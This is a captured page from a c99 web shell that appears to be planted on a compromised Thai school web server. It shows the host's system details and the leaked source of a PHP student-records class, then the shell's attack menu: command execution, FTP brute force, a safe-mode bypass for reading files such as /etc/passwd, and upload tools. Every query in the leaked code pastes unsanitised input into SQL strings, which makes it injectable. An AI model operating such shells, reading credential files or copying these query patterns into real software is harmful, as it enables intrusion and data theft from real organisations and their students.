!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/class/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsStudentMaster2.php (21.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class StudentMaster--------------------------

include_once "clsbase_StudentMaster.php";

class 
StudentMaster extends base_StudentMaster{

// This function use on page calGradeProg.php
function RSStudentMasterGetProgId($xKey){
    
$this->SetQuery("select studentCode from StudentMaster where studentId='$xKey' ");
}
//-- The end --

// This function use on page processGenTotalPoint.php
function RSStudentMasterGenTotalPoint(){
    
$this->SetQuery("select * from StudentMaster where studentCode!='' and studentStatus='1' and totalPoint!=100 ");
}

function 
RSStudentMasterCountStudGenTP(){
    
$this->SetQuery("select count(studentId) as num from StudentMaster where studentCode!='' and studentStatus='1' and totalPoint!=100 ");
    
$result=$this->GetResult();
    return 
$result['num'];
}
//-- The end --

// This function on file studentTable.php
function RSStudentMasterLimit($start$pageSize){
    
$this->SetQuery("select * from StudentMaster where studentCode!='' and studentStatus='1' limit $start, $pageSize");
}

function 
RSStudentMasterLimitByStudCode($sKey$start$pageSize){
    
$this->SetQuery("select * from StudentMaster where studentCode LIKE '%$sKey%' and studentStatus='1' Limit $start, $pageSize");
}

function 
RSStudentMasterByStudCode(){
    
$this->SetQuery("select * from StudentMaster where studentCode!='' and studentStatus='1' order by studentId");
}

function 
RSStudentMasterCountStudByOffIdStudIdND($aKey$bKey){
    
$this->SetQuery("select count(studentId) as num from StudentMaster where studentId='$aKey' and programId='$bKey' and officerId1!='NULL' and studentStatus='1' ");
    
$result=$this->GetResult();
    return 
$result['num'];
}
/**  The End  **/

/*function RSStudentMasterByPgIdGroupAdY($xKey){
    $this->SetQuery("select * from StudentMaster where programId= '$xKey' group by admitAcadYear");
}*/

function RSStudentMasterByPgIdGroupAdY($xKey){
    
$sql="select admitAcadYear, max(studentYear) as studentYear
            from StudentMaster 
            where programId='$xKey' and genStatus='Y' group by admitAcadYear"
;
    
$this->SetQuery($sql);
}

function 
RSStudentMasterByPgIdAndAdY($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId='$xKey' and admitAcadYear='$yKey' order by studentCode");
}

function 
RSStudentMasterByPgIdAndStYAndAdY($xKey$yKey$zKey){
    
//$programId, $studentYear, $admitAcadYear
    
$sql="select * 
            from StudentMaster 
            where programId='$xKey' and studentYear='$yKey' and admitAcadYear='$zKey' order by studentCode"
;
    
$this->SetQuery($sql);
}

function 
RSStudentMasterByPgIdAndAdYLimit($xKey$yKey$start$pageSize){
    
$this->SetQuery("select * from StudentMaster where programId='$xKey' and admitAcadYear='$yKey' limit $start, $pageSize");
}

function 
GetNextCodeByPgIdAndAdY($xKey$yKey){
    
$this->SetQuery("select max(studentCode) as num from StudentMaster where programId='$xKey' and admitAcadYear='$yKey'");
    if (
$result=$this->GetResult()) {
        return 
$result['num']+1;
    }
}

function 
RSStudentMasterByPgIdAndAdYGS($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId='$xKey' and admitAcadYear='$yKey' and genStatus='Y'");
}

function 
RSStudentMasterByGSGroupPgIdAndAdY($xKey){
    
$this->SetQuery("select programId, admitAcadYear from StudentMaster where genStatus='$xKey' group by programId, admitAcadYear");
}

function 
RSStudentMasterByGSGroupPgIdAndAdYLimit($xKey$start$pageSize){
    
$this->SetQuery("select programId, admitAcadYear from StudentMaster where genStatus='$xKey' group by programId, admitAcadYear limit $start, $pageSize");
}

function 
RSStudentMasterByPgIdAndAdYOrderStNm($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId='$xKey' and admitAcadYear='$yKey' order by studentName");
}

function 
RSStudentMasterByPgIdAndGeId($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and generationId= '$yKey' order by studentId");
}

function 
RSStudentMasterByPgIdAndStY($xKey$yKey){
    
// รหัสหลักสูตร, ปีที่เข้า
    
$sql="select * 
            from StudentMaster 
            where programId='$xKey' and studentYear='$yKey' group by admitAcadYear"
;
    
$this->SetQuery($sql);
}

function 
RSStudentMasterByPgIdAndAdYAndExpectGD($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and admitAcadYear='$yKey' and studentStatus='3' and finishDate=0000-00-00 and graduateYear='0'");
}

function 
RSStudentMasterByPgIdAndAdYAndExpectGDAndGD($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and admitAcadYear='$yKey' and ((studentStatus='3'and finishDate=0000-00-00 and graduateYear='0') or studentStatus='4')");
}

function 
RSStudentMasterByPgIdAndAdYAndGD($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and admitAcadYear='$yKey' and studentStatus='4' and finishDate<>0000-00-00 and graduateYear<>'0'");
}

function 
RSStudentMasterByPgIdAndAdYAndStYAndStudying($xKey$yKey$zKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and admitAcadYear='$yKey' and studentYear='$zKey' and studentStatus='1' and finishDate=0000-00-00 and graduateYear='0'");
}

function 
RSStudentMasterByPgIdAndAdYOrderGPATtPt($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId='$xKey' and admitAcadYear='$yKey' order by GPA desc, totalPoint desc");
}

function 
RSStudentMasterGroupGdY(){
    
$this->SetQuery("select graduateYear from StudentMaster group by graduateYear");
}

function 
RSStudentMasterByPgIdAndFinishDateAndGdY($wKey$xKey$yKey$zKey){
    
$this->SetQuery("select * from StudentMaster where programId='$wKey' and finishDate>='$xKey' and finishDate<='$yKey' and graduateYear='$zKey'");
}

// Get by ProgramId
function RSStudentMasterByPgId($xKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' order by studentId");
}

function 
RSStudentMasterByPgIdOrderByStdNameAndStdStatus($xKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and studentStatus != 6 order by studentName");
}

function 
RSStudentMasterByPgIdGroupByStYAndStdStatus($xKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and studentStatus != 6 group by studentYear");
}

function 
RSStudentMasterByPgIdOrderByStdName($xKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' order by studentName");
}

function 
RSCountStudentMaster($xKey$yKey){
    
$this->SetQuery("select count(studentId) as countStudent from StudentMaster where programId='$xKey' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countStudent'];
}

function 
RSCountStudentSexM($xKey$yKey){
    
$this->SetQuery("select count(studentSex) as countStudentSexM from StudentMaster where programId='$xKey' and studentSex='M' and studentYear='$yKey' group by programId, studentYear ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM'];
}

function 
RSCountStudentSexF($xKey$yKey){
    
$this->SetQuery("select count(studentSex) as countStudentSexF from StudentMaster where programId='$xKey' and studentSex='F' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF'];
}

//Count EntryType
function RSCountEntryType1($xKey$yKey){
    
$this->SetQuery("select count(entryTypeId) as countEntryType1 from StudentMaster where programId='$xKey' and entryTypeId='1' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countEntryType1'];
}
function 
RSCountEntryType2($xKey$yKey){
    
$this->SetQuery("select count(entryTypeId) as countEntryType2 from StudentMaster where programId='$xKey' and entryTypeId='2' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countEntryType2'];
}
function 
RSCountEntryType3($xKey$yKey){
    
$this->SetQuery("select count(entryTypeId) as countEntryType3 from StudentMaster where programId='$xKey' and entryTypeId='3' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countEntryType3'];
}
function 
RSCountEntryType4($xKey$yKey){
    
$this->SetQuery("select count(entryTypeId) as countEntryType4 from StudentMaster where programId='$xKey' and entryTypeId='4' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countEntryType4'];
}
function 
RSCountEntryType5($xKey$yKey){
    
$this->SetQuery("select count(entryTypeId) as countEntryType5 from StudentMaster where programId='$xKey' and entryTypeId='5' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countEntryType5'];
}
function 
RSCountEntryType6($xKey$yKey){
    
$this->SetQuery("select count(entryTypeId) as countEntryType6 from StudentMaster where programId='$xKey' and entryTypeId='6' and studentYear='$yKey' group by programId, studentYear");
    
$result=$this->GetResult();
    return 
$result['countEntryType6'];
}
// Get num student by programId and studentYear=1
function RSCountStudentSexM11($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM1 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId='1' and studentYear='1' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM1'];
}

function 
RSCountStudentSexM21($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM2 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId != '1' and studentYear='1' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM2'];
}

function 
RSCountStudentSexF11($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF1 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId='1' and studentYear='1' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF1'];
}

function 
RSCountStudentSexF21($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF2 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId != '1' and studentYear='1' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF2'];
}
//-----------------------------------------------

// Get num student by programId and studentYear=2
function RSCountStudentSexM12($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM1 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId='1' and studentYear='2' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM1'];
}

function 
RSCountStudentSexM22($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM2 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId != '1' and studentYear='2' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM2'];
}

function 
RSCountStudentSexF12($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF1 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId='1' and studentYear='2' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF1'];
}

function 
RSCountStudentSexF22($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF2 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId != '1' and studentYear='2' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF2'];
}
//-----------------------------------------------

// Get num student by programId and studentYear=3
function RSCountStudentSexM13($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM1 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId='1' and studentYear='3' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM1'];
}

function 
RSCountStudentSexM23($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM2 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId != '1' and studentYear='3' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM2'];
}

function 
RSCountStudentSexF13($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF1 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId='1' and studentYear='3' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF1'];
}

function 
RSCountStudentSexF23($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF2 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId != '1' and studentYear='3' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF2'];
}
//-----------------------------------------------

// Get num student by programId and studentYear=4
function RSCountStudentSexM14($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM1 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId='1' and studentYear='4' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM1'];
}

function 
RSCountStudentSexM24($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexM2 from StudentMaster where programId='$xKey' and studentSex='M' and entryTypeId != '1' and studentYear='4' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexM2'];
}

function 
RSCountStudentSexF14($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF1 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId='1' and studentYear='4' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF1'];
}

function 
RSCountStudentSexF24($xKey){
    
$this->SetQuery("select count(studentId) as countStudentSexF2 from StudentMaster where programId='$xKey' and studentSex='F' and entryTypeId != '1' and studentYear='4' ");
    
$result=$this->GetResult();
    return 
$result['countStudentSexF2'];
}
//-----------------------------------------------

// Get by ProgramId Limit
function RSStudentMasterByPgIdLimit($xKey$start$pageSize){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' order by studentId limit $start, $pageSize");
}

function 
RSStudentMasterByPgIdAndGeIdOrderStCd($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and generationId= '$yKey' order by studentCode");
}

function 
RSStudentMasterByPgIdAndGeIdOrderStNm($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId= '$xKey' and generationId= '$yKey' order by studentName");
}

function 
RSStudentMasterByStCdAndNmAndSm($xKey$yKey$zKey){
    
$this->SetQuery("select * from StudentMaster where studentCode like '$xKey%' and studentName like '$yKey%' and studentSurname like '$zKey%' order by studentCode");
}

// Get num of officerId1 and officerId2 use on page addOfficerMeeting.php
function RSStudentMasterByOffId1($aKey){
    
$this->SetQuery("select count(studentId) as num from StudentMaster where officerId1='$aKey' and studentStatus='1' order by studentId");
    
$result=$this->GetResult();
    return 
$result['num'];
}

// Get by OfficerId1 Limit use on page addOfficerMeeting.php
function RSStudentMasterByOfIdAndDateLimit($xKey$start$pageSize){
    
$this->SetQuery("select * from StudentMaster where officerId1='$xKey' and studentStatus='1' order by studentId limit $start, $pageSize");
}
//-- The End --

// Get num student by programId and studentYear and nowDate use on page addClass.php and processClass.php
function RSStudentMasterCountStudByPgIdStudYearNowDate($aKey$bKey){
    
$this->SetQuery("select count(studentId) as num from StudentMaster where studentCode!='' and programId='$aKey' and studentYear='$bKey' and studentStatus='1' order by studentId");
    
$result=$this->GetResult();
    return 
$result['num'];
}
//-- The End --

// Get num of officerId2 use on page showOfficerClass.php and addOfficerClass.php
function RSStudentMasterCountStud($aKey$bKey){
    
$this->SetQuery("select count(officerId2) as num from StudentMaster where officerId2!=0 and programId='$aKey' and studentYear='$bKey' and studentStatus='1' group by officerId2");
    
$result=$this->GetResult();
    return 
$result['num'];
}

function 
RSStudentMasterByPgIdStudYearAndND($aKey$bKey){
    
$this->SetQuery("select officerId2 from StudentMaster where officerId2!=0 and programId='$aKey' and studentYear='$bKey' and studentStatus='1' group by officerId2");
}

function 
Edit2($aKey,$bKey,$cKey){
    
$sql "update StudentMaster set officerId2='$aKey' where programId='$bKey' and studentYear='$cKey' and studentStatus='1' ";
    
$this->SetQuery($sql);
}
//--The end --

// Get student by programId StudentYear and nowDate use on page editStudentUpStatusProg.php
function RSStudentMasterByPgIdSySsNd($aKey,$bKey){
    
$this->SetQuery("select * from StudentMaster where studentCode!='' and programId='$aKey' and studentYear='$bKey' and studentStatus='1' order by studentId");
}
//-- The End --

// Use on page addResultExamOcc.php
function RSStudentMasterByPgIdAndGdY($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId='$xKey' and graduateYear='$yKey' and studentStatus='4'");
}
//-- The end --

// Use on page addDebt.php
function SearchByStCodeAndStudying($xKey){
    
/*$sql="select * from StudentMaster where studentCode='$xKey' and studentStatus='1'";
    die($sql);*/
    
if ($this->SetQuery("select * from StudentMaster where studentCode='$xKey' and studentStatus='1'")){
        return 
1;
    }else {
        return 
0;
    }
}
//-- The end --

function SearchByStCodeAndStudyingAndTransferSt($xKey){
    if (
$this->SetQuery("select * from StudentMaster where studentCode='$xKey' and studentStatus='1' and entryTypeId2='2'")){
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByStCode($xKey){
    if (
$this->SetQuery("select * from StudentMaster where studentCode='$xKey'")){
        return 
1;
    }else {
        return 
0;
    }
}

function 
RSStudentMasterByPgIdAndStuY($PgId,$StuY)
{
    if(
$this->SetQuery("Select * From StudentMaster Where programId='$PgId' And studentYear='$StuY' Order By studentCode"))
    {
        return 
1;
    } else
        {
            return 
0;
        }
}

//-- Use on page processChgStudYProg.php --
function SearchByStudID($StID){
    
$this->SetQuery("select * from StudentMaster where studentId= '$StID'");
}

function 
CountGPANoZero($PgID$AmaY){
    
$this->SetQuery("select count(studentId) as num from StudentMaster where programId= '$PgID' and admitAcadYear='$AmaY' and GPA!=0 and creditAttempt!=0 and creditSatisfy!=0  order by studentCode");
    
$result=$this->GetResult();
    return 
$result['num'];    
}

function 
RSStudentMasterGroupAdY(){
    
$this->SetQuery("select admitAcadYear from StudentMaster group by admitAcadYear");
}

function 
RSStudentMasterGroupGenNo($PgId$AmAcY){
    
$this->SetQuery("select genNo from StudentMaster where programId='$PgId' and admitAcadYear='$AmAcY' group by genNo");
}

function 
sumOverYearProgram($PgID$StID){
    include_once 
"../link/function.php";
    include_once 
"clsAcadYearConfig.php";
    include_once 
"clsProgram.php";
    
$oPg = new Program();
    
$oAy = new AcadYearConfig();
    
// Get date
    
$oAy->RSAcadYearConfigByDate(getNowDateTh());
    
$oAy->GetRecord();    
    
    
$this->SearchByStudID($StID);
    
$this->GetRecord();    
    
    
$overYear=$oAy->acadYear $this->admitAcadYear;
    
    
$oPg->SearchByKey($PgID);
    
$oPg->GetRecord();

    if(
$oPg->studyYearMax $overYear){
        
// เรียนเกินไปแล้ว
        
return 1;
    }else{
        
// เรียนพอดีแล้ว
        
return 0;
    }
}
//-- The end --

// Use on page addResultExitExam.php
function RSStudentBioByStudIdNonEx($StID){
    
$this->SetQuery("select count(exitExam) as num from StudentMaster where studentId='$StID' and exitExam='N' ");
    if (
$result=$this->GetResult()) {
        return 
$result['num'];
    }    
}
//-- The End --

function CheckCredit($stId, &$msg){
    include_once 
"clsStudentMaster.php";
    include_once 
"clsProgramStructure.php";
    include_once 
"clsEnrollItem.php";
    
    
$obj1 = new StudentMaster();
    
$obj2 = new ProgramStructure();
    
$obj3 = new ProgramStructure();
    
$obj4 = new EnrollItem();
    
    
$obj1->SearchByKey($stId);
    
$obj1->GetRecord();
    
    
$flag 1;
    
// Find conditionId1
    
$obj2->RSProgramStructureByPgIdAndCdId2IsH($obj1->programId);
    while(
$obj2->GetRecord()) {
        
// Find conditionId2
        
$obj3->RSProgramStructureByPgIdAndCd1($obj1->programId$obj2->conditionId1);
        while(
$obj3->GetRecord()) {
            
// Check credit of conditionId2
            
$sumCrAtCdId2 $obj4->GetSumCrAtByStIdAndCdIdAndCdId2($stId$obj2->conditionId1$obj3->conditionId2);
            if(
$sumCrAtCdId2 >= $obj3->creditTotal)
                
$msg[$obj3->conditionId2] = intval($sumCrAtCdId2).':PASS';
            else {
                
$msg[$obj3->conditionId2] = intval($sumCrAtCdId2).':FAIL';
                
$flag 0;
            }
        }
        
        
// Check credit of conditionId1
        
$sumCrAtCdId $obj4->GetSumCrAtByStIdAndCdId($stId$obj2->conditionId1);
        if(
$sumCrAtCdId >= $obj2->creditTotal)
            
$msg[$obj2->conditionId1] = intval($sumCrAtCdId).':PASS';
        else {
            
$msg[$obj2->conditionId1] = intval($sumCrAtCdId).':FAIL';
            
$flag 0;
        }
    }
    
    return 
$flag;
}

//-- Use on page searchStudReStatus.php --
function SearchByStCodeAndStudyingReStatus($StCode){
    
$this->SetQuery("select * from StudentMaster where studentCode='$StCode' and (studentStatus='2' or studentStatus='7' or studentStatus='8' or studentStatus='9')");    
}
//-- The end --

//-- Use on page printRepRis128.php--
function RSStudentMasterByPgIdAndLvId($programId,$levelId){
    
$this->SetQuery("select * from StudentMaster where programId='$programId' and levelId='$levelId' and studentStatus=1 ");    
}
//-- The end --

//-- Use on page beforeShowClassStudy.php --
function SearchByStCodeStNStSn($StC,$StN,$StSn){
    
$this->SetQuery("select * from StudentMaster where studentCode='$StC' or studentName='$StN' or studentSurname='$StSn' ");
}
//-- The end --

//-- Use on page showStudentMB.php--
function RSStudentMasterByPgIdAndStY2($xKey$yKey){
    
$this->SetQuery("select * from StudentMaster where programId='$xKey' and studentYear='$yKey' order by studentCode");
}
//-- The end --

//--End class StudentMaster--
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0129 ]--